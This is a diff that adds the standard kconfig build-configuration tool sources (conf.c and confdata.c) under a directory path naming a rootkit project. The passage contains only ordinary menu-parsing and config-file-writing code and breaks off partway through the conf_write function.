b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/conf.c @@ -0,0 +1,717 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf(struct menu *menu); +static void check_conf(struct menu *menu); +static void xfgets(char *str, int size, FILE *in); + +enum input_mode { + oldaskconfig, + silentoldconfig, + oldconfig, + allnoconfig, + allyesconfig, + allmodconfig, + alldefconfig, + randconfig, + defconfig, + savedefconfig, + listnewconfig, + olddefconfig, +} input_mode = oldaskconfig; + +static int indent = 1; +static int tty_stdio; +static int valid_stdin = 1; +static int sync_kconfig; +static int conf_cnt; +static char line[128]; +static struct menu *rootEntry; + +static void print_help(struct menu *menu) +{ + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + printf("\n%s\n", str_get(&help)); + str_free(&help); +} + +static void strip(char *str) +{ + char *p = str; + int l; + + while ((isspace(*p))) + p++; + l = strlen(p); + if (p != str) + memmove(str, p, l + 1); + if (!l) + return; + p = str + l - 1; + while ((isspace(*p))) + *p-- = 0; +} + +static void check_stdin(void) +{ + if (!valid_stdin) { + printf(_("aborted!\n\n")); + printf(_("Console input/output is redirected. ")); + printf(_("Run 'make oldconfig' to update configuration.\n\n")); + exit(1); + } +} + +static int conf_askvalue(struct symbol *sym, const char *def) +{ + enum symbol_type type = sym_get_type(sym); + + if (!sym_has_value(sym)) + printf(_("(NEW) ")); + + line[0] = '\n'; + line[1] = 0; + + if (!sym_is_changable(sym)) { + printf("%s\n", def); + line[0] = '\n'; + line[1] = 0; + return 0; + } + + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (sym_has_value(sym)) { + printf("%s\n", def); + return 0; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + if (!tty_stdio) + printf("\n"); + return 1; + default: + break; + } + + switch (type) { + case S_INT: + case S_HEX: + case S_STRING: + printf("%s\n", def); + return 1; + default: + ; + } + printf("%s", line); + return 1; +} + +static int conf_string(struct menu *menu) +{ + struct symbol *sym = menu->sym; + const char *def; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + printf("(%s) ", sym->name); + def = sym_get_string_value(sym); + if (sym_get_string_value(sym)) + printf("[%s] ", def); + if (!conf_askvalue(sym, def)) + return 0; + switch (line[0]) { + case '\n': + break; + case '?': + /* print help */ + if (line[1] == '\n') { + print_help(menu); + def = NULL; + break; + } + /* fall through */ + default: + line[strlen(line)-1] = 0; + def = line; + } + if (def && sym_set_string_value(sym, def)) + return 0; + } +} + +static int conf_sym(struct menu *menu) +{ + struct symbol *sym = menu->sym; + tristate oldval, newval; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + if (sym->name) + printf("(%s) ", sym->name); + putchar('['); + oldval = sym_get_tristate_value(sym); + switch (oldval) { + case no: + putchar('N'); + break; + case mod: + putchar('M'); + break; + case yes: + putchar('Y'); + break; + } + if (oldval != no && sym_tristate_within_range(sym, no)) + printf("/n"); + if (oldval != mod && sym_tristate_within_range(sym, mod)) + printf("/m"); + if (oldval != yes && sym_tristate_within_range(sym, yes)) + printf("/y"); + if (menu_has_help(menu)) + printf("/?"); + printf("] "); + if (!conf_askvalue(sym, sym_get_string_value(sym))) + return 0; + strip(line); + + switch (line[0]) { + case 'n': + case 'N': + newval = no; + if (!line[1] || !strcmp(&line[1], "o")) + break; + continue; + case 'm': + case 'M': + newval = mod; + if (!line[1]) + break; + continue; + case 'y': + case 'Y': + newval = yes; + if (!line[1] || !strcmp(&line[1], "es")) + break; + continue; + case 0: + newval = oldval; + break; + case '?': + goto help; + default: + continue; + } + if (sym_set_tristate_value(sym, newval)) + return 0; +help: + print_help(menu); + } +} + +static int conf_choice(struct menu *menu) +{ + struct symbol *sym, *def_sym; + struct menu *child; + bool is_new; + + sym = menu->sym; + is_new = !sym_has_value(sym); + if (sym_is_changable(sym)) { + conf_sym(menu); + sym_calc_value(sym); + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + return 0; + case yes: + break; + } + } else { + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + return 0; + case yes: + break; + } + } + + while (1) { + int cnt, def; + + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + def_sym = sym_get_choice_value(sym); + cnt = def = 0; + line[0] = 0; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (!child->sym) { + printf("%*c %s\n", indent, '*', _(menu_get_prompt(child))); + continue; + } + cnt++; + if (child->sym == def_sym) { + def = cnt; + printf("%*c", indent, '>'); + } else + printf("%*c", indent, ' '); + printf(" %d. %s", cnt, _(menu_get_prompt(child))); + if (child->sym->name) + printf(" (%s)", child->sym->name); + if (!sym_has_value(child->sym)) + printf(_(" (NEW)")); + printf("\n"); + } + printf(_("%*schoice"), indent - 1, ""); + if (cnt == 1) { + printf("[1]: 1\n"); + goto conf_childs; + } + printf("[1-%d", cnt); + if (menu_has_help(menu)) + printf("?"); + printf("]: "); + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (!is_new) { + cnt = def; + printf("%d\n", cnt); + break; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + strip(line); + if (line[0] == '?') { + print_help(menu); + continue; + } + if (!line[0]) + cnt = def; + else if (isdigit(line[0])) + cnt = atoi(line); + else + continue; + break; + default: + break; + } + + conf_childs: + for (child = menu->list; child; child = child->next) { + if (!child->sym || !menu_is_visible(child)) + continue; + if (!--cnt) + break; + } + if (!child) + continue; + if (line[0] && line[strlen(line) - 1] == '?') { + print_help(child); + continue; + } + sym_set_choice_value(sym, child->sym); + for (child = child->list; child; child = child->next) { + indent += 2; + conf(child); + indent -= 2; + } + return 1; + } +} + +static void conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + prop = menu->prompt; + if (prop) { + const char *prompt; + + switch (prop->type) { + case P_MENU: + if ((input_mode == silentoldconfig || + input_mode == listnewconfig || + input_mode == olddefconfig) && + rootEntry != menu) { + check_conf(menu); + return; + } + /* fall through */ + case P_COMMENT: + prompt = menu_get_prompt(menu); + if (prompt) + printf("%*c\n%*c %s\n%*c\n", + indent, '*', + indent, '*', _(prompt), + indent, '*'); + default: + ; + } + } + + if (!sym) + goto conf_childs; + + if (sym_is_choice(sym)) { + conf_choice(menu); + if (sym->curr.tri != mod) + return; + goto conf_childs; + } + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + conf_string(menu); + break; + default: + conf_sym(menu); + break; + } + +conf_childs: + if (sym) + indent += 2; + for (child = menu->list; child; child = child->next) + conf(child); + if (sym) + indent -= 2; +} + +static void check_conf(struct menu *menu) +{ + struct symbol *sym; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + if (sym && !sym_has_value(sym)) { + if (sym_is_changable(sym) || + (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes)) { + if (input_mode == listnewconfig) { + if (sym->name && !sym_is_choice_value(sym)) { + printf("%s%s\n", CONFIG_, sym->name); + } + } else if (input_mode != olddefconfig) { + if (!conf_cnt++) + printf(_("*\n* Restart config...\n*\n")); + rootEntry = menu_get_parent_menu(menu); + conf(rootEntry); + } + } + } + + for (child = menu->list; child; child = child->next) + check_conf(child); +} + +static struct option long_opts[] = { + {"oldaskconfig", no_argument, NULL, oldaskconfig}, + {"oldconfig", no_argument, NULL, oldconfig}, + {"silentoldconfig", no_argument, NULL, silentoldconfig}, + {"defconfig", optional_argument, NULL, defconfig}, + {"savedefconfig", required_argument, NULL, savedefconfig}, + {"allnoconfig", no_argument, NULL, allnoconfig}, + {"allyesconfig", no_argument, NULL, allyesconfig}, + {"allmodconfig", no_argument, NULL, allmodconfig}, + {"alldefconfig", no_argument, NULL, alldefconfig}, + {"randconfig", no_argument, NULL, randconfig}, + {"listnewconfig", no_argument, NULL, listnewconfig}, + {"olddefconfig", no_argument, NULL, olddefconfig}, + /* + * oldnoconfig is an alias of olddefconfig, because people already + * are dependent on its behavior(sets new symbols to their default + * value but not 'n') with the counter-intuitive name. + */ + {"oldnoconfig", no_argument, NULL, olddefconfig}, + {NULL, 0, NULL, 0} +}; + +static void conf_usage(const char *progname) +{ + + printf("Usage: %s [option] \n", progname); + printf("[option] is _one_ of the following:\n"); + printf(" --listnewconfig List new options\n"); + printf(" --oldaskconfig Start a new configuration using a line-oriented program\n"); + printf(" --oldconfig Update a configuration using a provided .config as base\n"); + printf(" --silentoldconfig Same as oldconfig, but quietly, additionally update deps\n"); + printf(" --olddefconfig Same as silentoldconfig but sets new symbols to their default value\n"); + printf(" --oldnoconfig An alias of olddefconfig\n"); + printf(" --defconfig New config with default defined in \n"); + printf(" --savedefconfig Save the minimal current configuration to \n"); + printf(" --allnoconfig New config where all options are answered with no\n"); + printf(" --allyesconfig New config where all options are answered with yes\n"); + printf(" --allmodconfig New config where all options are answered with mod\n"); + printf(" --alldefconfig New config with all symbols set to default\n"); + printf(" --randconfig New config with random answer to all options\n"); +} + +int main(int ac, char **av) +{ + const char *progname = av[0]; + int opt; + const char *name, *defconfig_file = NULL /* gcc uninit */; + struct stat tmpstat; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + tty_stdio = isatty(0) && isatty(1) && isatty(2); + + while ((opt = getopt_long(ac, av, "", long_opts, NULL)) != -1) { + input_mode = (enum input_mode)opt; + switch (opt) { + case silentoldconfig: + sync_kconfig = 1; + break; + case defconfig: + case savedefconfig: + defconfig_file = optarg; + break; + case randconfig: + { + struct timeval now; + unsigned int seed; + char *seed_env; + + /* + * Use microseconds derived seed, + * compensate for systems where it may be zero + */ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + + seed_env = getenv("KCONFIG_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); + if (*endp == '\0') { + seed = tmp; + } + } + fprintf( stderr, "KCONFIG_SEED=0x%X\n", seed ); + srand(seed); + break; + } + case oldaskconfig: + case oldconfig: + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case listnewconfig: + case olddefconfig: + break; + case '?': + conf_usage(progname); + exit(1); + break; + } + } + if (ac == optind) { + printf(_("%s: Kconfig file missing\n"), av[0]); + conf_usage(progname); + exit(1); + } + name = av[optind]; + conf_parse(name); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { + fprintf(stderr, _("***\n" + "*** Configuration file \"%s\" not found!\n" + "***\n" + "*** Please run some configurator (e.g. \"make oldconfig\" or\n" + "*** \"make menuconfig\" or \"make xconfig\").\n" + "***\n"), name); + exit(1); + } + } + + switch (input_mode) { + case defconfig: + if (!defconfig_file) + defconfig_file = conf_get_default_confname(); + if (conf_read(defconfig_file)) { + printf(_("***\n" + "*** Can't find default configuration \"%s\"!\n" + "***\n"), defconfig_file); + exit(1); + } + break; + case savedefconfig: + case silentoldconfig: + case oldaskconfig: + case oldconfig: + case listnewconfig: + case olddefconfig: + conf_read(NULL); + break; + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case randconfig: + name = getenv("KCONFIG_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { + if (conf_read_simple(name, S_DEF_USER)) { + fprintf(stderr, + _("*** Can't read seed configuration \"%s\"!\n"), + name); + exit(1); + } + break; + } + switch (input_mode) { + case allnoconfig: name = "allno.config"; break; + case allyesconfig: name = "allyes.config"; break; + case allmodconfig: name = "allmod.config"; break; + case alldefconfig: name = "alldef.config"; break; + case randconfig: name = "allrandom.config"; break; + default: break; + } + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, + _("*** KCONFIG_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } + break; + default: + break; + } + + if (sync_kconfig) { + if (conf_get_changed()) { + name = getenv("KCONFIG_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); + return 1; + } + } + valid_stdin = tty_stdio; + } + + switch (input_mode) { + case allnoconfig: + conf_set_all_new_symbols(def_no); + break; + case allyesconfig: + conf_set_all_new_symbols(def_yes); + break; + case allmodconfig: + conf_set_all_new_symbols(def_mod); + break; + case alldefconfig: + conf_set_all_new_symbols(def_default); + break; + case randconfig: + /* Really nothing to do in this loop */ + while (conf_set_all_new_symbols(def_random)) ; + break; + case defconfig: + conf_set_all_new_symbols(def_default); + break; + case savedefconfig: + break; + case oldaskconfig: + rootEntry = &rootmenu; + conf(&rootmenu); + input_mode = silentoldconfig; + /* fall through */ + case oldconfig: + case listnewconfig: + case olddefconfig: + case silentoldconfig: + /* Update until a loop caused no more changes */ + do { + conf_cnt = 0; + check_conf(&rootmenu); + } while (conf_cnt && + (input_mode != listnewconfig && + input_mode != olddefconfig)); + break; + } + + if (sync_kconfig) { + /* silentoldconfig is used during the build so we shall update autoconf. + * All other commands are only used to generate a config. + */ + if (conf_get_changed() && conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + if (conf_write_autoconf()) { + fprintf(stderr, _("\n*** Error during update of the configuration.\n\n")); + return 1; + } + } else if (input_mode == savedefconfig) { + if (conf_write_defconfig(defconfig_file)) { + fprintf(stderr, _("n*** Error while saving defconfig to: %s\n\n"), + defconfig_file); + return 1; + } + } else if (input_mode != listnewconfig) { + if (conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + } + return 0; +} + +/* + * Helper function to facilitate fgets() by Jean Sacren. + */ +void xfgets(char *str, int size, FILE *in) +{ + if (fgets(str, size, in) == NULL) + fprintf(stderr, "\nError in reading or end of file.\n"); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/confdata.c new file mode 100644 index 0000000..2371fa8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/confdata.c @@ -0,0 +1,1272 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = ".defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv("BR2_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + return getenv("KCONFIG_AUTOCONFIG"); +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + if (!name) + name = conf_get_configname(); + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv("KCONFIG_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else 